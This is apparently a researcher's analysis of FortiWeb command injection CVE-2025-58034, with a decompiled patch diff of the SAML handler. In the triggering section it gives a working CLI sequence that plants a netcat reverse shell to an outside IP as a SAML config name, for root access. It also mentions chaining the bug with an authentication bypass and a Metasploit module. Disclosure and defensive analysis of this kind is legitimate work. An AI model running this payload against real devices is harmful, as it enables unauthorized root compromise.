Overview
On November 18, 2025, Fortinet published an advisory for CVE-2025-58034. This vulnerability is an authenticated command injection vulnerability affecting FortiWeb. Both Fortinet and CISA have indicated that CVE-2025-58034 has been exploited in-the-wild.
Of note is the recent disclosure of another FortiWeb vulnerability, CVE-2025-64446. That vulnerability is an authentication bypass, allowing a remote unauthenticated attacker to create a new local administrator account on a target FortiWeb instance. There is no direct connection between the authentication bypass vulnerability, CVE-2025-64446, and the authenticated command injection, CVE-2025-58034, in any vendor guidance.
However several things stand out. The timeline for both vulnerabilities being disclosed is only days apart. Both vulnerabilities were patched by the vendor in prior product updates and with no disclosure at the time of patching. There is an obvious utility of chaining an authentication bypass to an authenticated command injection. Given all of these things, it seems highly likely these two vulnerabilities comprise an exploit chain for unauthenticated remote code execution against vulnerable FortiWeb devices.
Analysis
This analysis diffs FortiWeb version 7.0.11 against version 7.0.12. The vulnerability has been successfully verified against version 8.0.1.
Diffing
While the vendor advisory is brief, the following gives us a clue as where to begin looking:
an authenticated attacker to execute unauthorized code on the underlying system via crafted HTTP requests or CLI commands.
Knowing we are looking for a command injection vuln within the FortiWeb CLI lets us hone in on the binary \lib\libcmdb_plugin.so which has been modified in the patch. Analyzing this binary via BinDiff, we can see six functions have changed.

Upon further investigation, all of these functions have had new validation logic added to their operations. This is in line with the advisory description which states that “multiple” command injections have been remediated, and assigned a single CVE identifier. The CVE ecosystem works best when a single vulnerability with a single root cause is assigned a single CVE identifier. It is unhelpful to assign multiple vulnerabilities across a code based with a single CVE identifier, as defenders cannot correctly attribute which vulnerability is being exploited (for example, the network traffic or IOCs may vary depending on which specific vulnerability is exploited), which can be detrimental to detection and remediation.
To reproduce one of these command injections, we focus on the function oper_user_saml_part_0, whose full pseudo code diff can be seen below.
--- a/7.0.11_oper_user_saml_part_0.c
+++ b/7.0.12_oper_user_saml_part_0.c
@@ -1,136 +1,159 @@
__int64 __fastcall oper_user_saml_part_0(__int64 a1, unsigned int a2)
{
__int64 v2; // r12
- char *v4; // rsi
- int v5; // edx
- int v6; // ecx
- int v7; // ebx
- int v8; // r8d
- int v9; // r9d
- int v11; // esi
- __int64 v12; // r14
- int v13; // edx
- int v14; // ecx
- int v15; // r8d
- int v16; // r9d
- __int64 v17; // r14
- __int64 v18; // r14
- __int64 v19; // r14
- const char *v20; // rax
- const char *v21; // rcx
- const char *v22; // rdx
+ int v4; // edx
+ int v5; // ecx
+ int v6; // r8d
+ int v7; // r9d
+ char *v8; // rsi
+ int v9; // edx
+ int v10; // ecx
+ int v11; // ebx
+ int v12; // r8d
+ int v13; // r9d
+ int v15; // esi
+ __int64 v16; // r14
+ int v17; // edx
+ int v18; // ecx
+ int v19; // r8d
+ int v20; // r9d
+ __int64 v21; // r14
+ __int64 v22; // r14
+ __int64 v23; // r14
+ const char *v24; // rax
+ const char *v25; // rcx
+ const char *v26; // rdx
char s[2048]; // [rsp+20h] [rbp-1048h] BYREF
- char v24[2056]; // [rsp+820h] [rbp-848h] BYREF
- unsigned __int64 v25; // [rsp+1028h] [rbp-40h]
+ char v28[2056]; // [rsp+820h] [rbp-848h] BYREF
+ unsigned __int64 v29; // [rsp+1028h] [rbp-40h]
v2 = *(_QWORD *)(a1 + 176);
- v25 = __readfsqword(0x28u);
+ v29 = __readfsqword(0x28u);
if ( !v2 )
return 0LL;
- if ( a2 != 5 )
+ if ( a2 == 5 )
{
- if ( a2 != 9 )
+ if ( (int)saml_name_check(v2) >= 0 )
{
-LABEL_8:
- cli_log_event(a1, a2);
- return 0LL;
+ v15 = *(char *)(v2 + 64);
+ if ( *(_BYTE *)(v2 + 64) )
+ {
+ v16 = v2 + 64;
+ while ( !strchr("`$;&|<>()\\", v15) )
+ {
+ v15 = *(char *)++v16;
+ if ( !(_BYTE)v15 )
+ goto LABEL_16;
+ }
+ }
+ else
+ {
+LABEL_16:
+ v15 = *(char *)(v2 + 320);
+ v21 = v2 + 320;
+ if ( (_BYTE)v15 )
+ {
+ while ( !strchr("`$;&|<>()\\", v15) )
+ {
+ v15 = *(char *)++v21;
+ if ( !(_BYTE)v15 )
+ goto LABEL_21;
+ }
+ }
+ else
+ {
+LABEL_21:
+ v15 = *(char *)(v2 + 588);
+ v22 = v2 + 588;
+ if ( (_BYTE)v15 )
+ {
+ while ( !strchr("`$;&|<>()\\", v15) )
+ {
+ v15 = *(char *)++v22;
+ if ( !(_BYTE)v15 )
+ goto LABEL_26;
+ }
+ }
+ else
+ {
+LABEL_26:
+ v15 = *(char *)(v2 + 848);
+ v23 = v2 + 848;
+ if ( !(_BYTE)v15 )
+ {
+LABEL_31:
+ v24 = "post";
+ v25 = "redirect";
+ if ( *(_DWORD *)(v2 + 844) == 1 )
+ v25 = "post";
+ if ( *(_DWORD *)(v2 + 584) != 1 )
+ v24 = "redirect";
+ v26 = "-S";
+ if ( !*(_DWORD *)(v2 + 1108) )
+ v26 = "";
+ snprintf(
+ s,
+ 0x800uLL,
+ "/bin/sh /data/etc/saml/shibboleth/saml_utils.sh -a addsp -i %s -e %s -l %d -L %d -s %s %s -b %s -B %s -p %s -P %s",
+ (const char *)v2,
+ (const char *)(v2 + 64),
+ (unsigned int)(3600 * *(_DWORD *)(v2 + 576)),
+ (unsigned int)(60 * *(_DWORD *)(v2 + 580)),
+ (const char *)(v2 + 320),
+ v26,
+ v24,
+ v25,
+ (const char *)(v2 + 588),
+ (const char *)(v2 + 848));
+ v11 = fwbsystem(s);
+ LODWORD(v8) = 2048;
+ snprintf(v28, 0x800uLL, "%s/%s/", "/data/etc/saml/shibboleth/service_providers", (const char *)v2);
+ if ( (*(_BYTE *)(a1 + 82) & 7) != 4 )
+ {
+ v8 = v28;
+ cli_ha_add_file(a1, v28);
+ }
+ goto LABEL_6;
+ }
+ while ( !strchr("`$;&|<>()\\", v15) )
+ {
+ v15 = *(char *)++v23;
+ if ( !(_BYTE)v15 )
+ goto LABEL_31;
+ }
+ }
+ }
+ }
+ cli_print_err((unsigned int)"Invalid characters: ` $ ; & | < > ( ) \\ \n", v15, v17, v18, v19, v20);
+ return 4294966645LL;
}
- LODWORD(v4) = 2048;
- snprintf(s, 0x800uLL, "/bin/sh /data/etc/saml/shibboleth/saml_utils.sh -a delsp -i %s", (const char *)v2);
- v7 = system(s);
- goto LABEL_5;
- }
- v11 = *(char *)(v2 + 64);
- if ( *(_BYTE *)(v2 + 64) )
- {
- v12 = v2 + 64;
- while ( !strchr("`$;&|", v11) )
- {
- v11 = *(char *)++v12;
- if ( !(_BYTE)v11 )
- goto LABEL_14;
- }
- goto LABEL_13;
- }
-LABEL_14:
- v11 = *(char *)(v2 + 320);
- v17 = v2 + 320;
- if ( (_BYTE)v11 )
- {
- while ( !strchr("`$;&|", v11) )
- {
- v11 = *(char *)++v17;
- if ( !(_BYTE)v11 )
- goto LABEL_19;
- }
- goto LABEL_13;
- }
-LABEL_19:
- v11 = *(char *)(v2 + 588);
- v18 = v2 + 588;
- if ( (_BYTE)v11 )
- {
- while ( !strchr("`$;&|", v11) )
- {
- v11 = *(char *)++v18;
- if ( !(_BYTE)v11 )
- goto LABEL_24;
- }
- goto LABEL_13;
- }
-LABEL_24:
- v11 = *(char *)(v2 + 848);
- v19 = v2 + 848;
- if ( (_BYTE)v11 )
- {
- while ( !strchr("`$;&|", v11) )
- {
- v11 = *(char *)++v19;
- if ( !(_BYTE)v11 )
- goto LABEL_29;
- }
-LABEL_13:
- cli_print_err((unsigned int)"Invalid characters: ` $ ; & |\n", v11, v13, v14, v15, v16);
+LABEL_41:
+ cli_print_err(
+ (unsigned int)"The SAML name legal characters are numbers(0-9), letters(A-Z, a-z) and special characters - and _\n",
+ a2,
+ v4,
+ v5,
+ v6,
+ v7);
return 4294966645LL;
}
-LABEL_29:
- v20 = "post";
- v21 = "redirect";
- if ( *(_DWORD *)(v2 + 844) == 1 )
- v21 = "post";
- if ( *(_DWORD *)(v2 + 584) != 1 )
- v20 = "redirect";
- v22 = "-S";
- if ( !*(_DWORD *)(v2 + 1108) )
- v22 = "";
- snprintf(
- s,
- 0x800uLL,
- "/bin/sh /data/etc/saml/shibboleth/saml_utils.sh -a addsp -i %s -e %s -l %d -L %d -s %s %s -b %s -B %s -p %s -P %s",
- (const char *)v2,
- (const char *)(v2 + 64),
- (unsigned int)(3600 * *(_DWORD *)(v2 + 576)),
- (unsigned int)(60 * *(_DWORD *)(v2 + 580)),
- (const char *)(v2 + 320),
- v22,
- v20,
- v21,
- (const char *)(v2 + 588),
- (const char *)(v2 + 848));
- v7 = system(s);
- LODWORD(v4) = 2048;
- snprintf(v24, 0x800uLL, "%s/%s/", "/data/etc/saml/shibboleth/service_providers", (const char *)v2);
- if ( (*(_BYTE *)(a1 + 82) & 7) != 4 )
+ if ( a2 != 9 )
{
- v4 = v24;
- cli_ha_add_file(a1, v24);
+LABEL_9:
+ cli_log_event(a1, a2);
+ return 0LL;
}
-LABEL_5:
- if ( v7 != -1 && !(v7 & 0x7F | BYTE1(v7)) )
+ if ( (int)saml_name_check(v2) < 0 )
+ goto LABEL_41;
+ LODWORD(v8) = 2048;
+ snprintf(s, 0x800uLL, "/bin/sh /data/etc/saml/shibboleth/saml_utils.sh -a delsp -i %s", (const char *)v2);
+ v11 = fwbsystem(s);
+LABEL_6:
+ if ( v11 != -1 && !(v11 & 0x7F | BYTE1(v11)) )
{
system("killall shibd");
- goto LABEL_8;
+ goto LABEL_9;
}
- cli_print_err((unsigned int)"Failed to merge the SAML server's configurations.\n", (_DWORD)v4, v5, v6, v8, v9);
+ cli_print_err((unsigned int)"Failed to merge the SAML server's configurations.\n", (_DWORD)v8, v9, v10, v12, v13);
return 4294966645LL;
}While the diff is lengthy, we can clearly see the addition of several new calls to the function saml_name_check. This new validation routine is not present in the 7.0.11 version. In fact, there are now several new validation routines added in 7.0.12 to validate not only SAML configuration names, but also keytab file names and Kerberos realm names, as seen below in BinDiff’s secondary unmatched function list.

The function oper_user_saml_part_0 is called when a CLI operation on a SAML configuration is performed. The operation can be something like deleting an existing configuration, but also creating a new configuration. The oper_user_saml_part_0 function will marshal the components of the SAML configuration to a helper shell script called /data/etc/saml/shibboleth/saml_utils.sh, and this script is executed via the system function, as shown below:
snprintf(
s,
0x800uLL,
"/bin/sh /data/etc/saml/shibboleth/saml_utils.sh -a addsp -i %s -e %s -l %d -L %d -s %s %s -b %s -B %s -p %s -P %s",
&v2->char0, // <--- not sanitized SAML config name
&v2->char40,
(unsigned int)(3600 * v2->dword240),
(unsigned int)(60 * v2->dword244),
&v2->char140,
v22,
v20,
v21,
&v2->char24C,
&v2->char350);
v7 = system(s); // <--- execute unsanitized commandTriggering
While several components of the SAML configuration are sanitized for bad characters associated with command injection, the configuration name (pointed to by v2->char0 in the above decompilation) is not sanitized.
We can learn from the documentation that to edit a SAML configuration a user needs the following permissions:
your administrator account’s access control profile must have either w or rw permission to the authusergrp area
Additionally, we can see from the documentation that the following sequence of CLI commands allow a new SAML configuration to be created:
config user saml-user
edit "<saml_server_name>"
set entityID "<server_URL>"
set service-path "<server_URL_path>"
set enforce-signing {enable | disable}
set slo-bind {post | redirect}
set slo-path "<slo_URL_path>"
set sso-bind <post>
set sso-path "<sso_URL_path>"
config mapping-domains
edit <index>
set domain <domain_name>
next
end
next
endTherefore by simply experimenting on the CLI as a logged in administrator (and remember we can create a new local admin via CVE-2025-64446), we can successfully trigger the authenticated command injection vulnerability and execute a netcat reverse shell with root priviledges:
FortiWeb # config user saml-user
FortiWeb (saml-user) # edit "`nc 192.168.86.35 4444 -e /bin/bash`"
FortiWeb (`nc 192.168.86~3) # set entityID http://foo
FortiWeb (`nc 192.168.86~3) # set service-path /foo
FortiWeb (`nc 192.168.86~3) # set enforce-signing disable
FortiWeb (`nc 192.168.86~3) # set slo-bind post
FortiWeb (`nc 192.168.86~3) # set slo-path /foo
FortiWeb (`nc 192.168.86~3) # set sso-bind post
FortiWeb (`nc 192.168.86~3) # set sso-path /foo
FortiWeb (`nc 192.168.86~3) # endWhen this new configuration is created (via the final end command above), the command injection vulnerability is triggered, and the malicious SAML configuration name ( `nc 192.168.86.35 4444 -e /bin/bash` in our example above) is executed via the system call in the oper_user_saml_part_0 function.
The result is a remote root shell on the target FortiWeb device (version 8.0.1 in the example below).

The command injection is limited to at most 63 characters, and several bad characters may not be present, such as >, ', ", #, (, or ).
Metasploit exploit
A Metasploit exploit module which chains CVE-2025-64446 and CVE-2025-58034 together to achieve unauthenticated RCE is available here.

References
Updates
- November 21, 2025 - Fixed formatting. Added several other bad characters to the list. Added a reference and screenshot of the Metasploit exploit module.



